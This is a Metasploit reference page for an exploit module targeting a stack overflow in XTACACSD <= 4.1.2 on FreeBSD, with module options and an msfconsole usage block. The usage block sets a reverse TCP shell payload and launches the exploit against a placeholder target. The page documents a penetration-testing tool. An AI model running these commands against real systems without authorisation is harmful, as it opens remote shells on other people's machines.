Metasploit Penetration Testing Framework

XTACACSD <= 4.1.2 report() Buffer Overflow

This module exploits a stack overflow in XTACACSD <= 4.1.2. By sending a specially crafted XTACACS packet with an overly long username, an attacker may be able to execute arbitrary code.

Rank

Average

Authors

MC < mc [at] metasploit.com >

References

Exploit Targets

0 - FreeBSD 6.2-Release Bruteforce (default)

Development

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Usage Information

$ msfconsole

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msf > use exploit/freebsd/tacacs/xtacacsd_report
msf exploit(xtacacsd_report) > show payloads
msf exploit(xtacacsd_report) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(xtacacsd_report) > set LHOST [MY IP ADDRESS]
msf exploit(xtacacsd_report) > set RHOST [TARGET IP]
msf exploit(xtacacsd_report) > exploit

Module Options

RHOST	The target address
RPORT	The target port (default: 49)
BruteStep	Step size between brute force attempts
BruteWait	Delay between brute force attempts
CHOST	The local client address
CPORT	The local client port
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session

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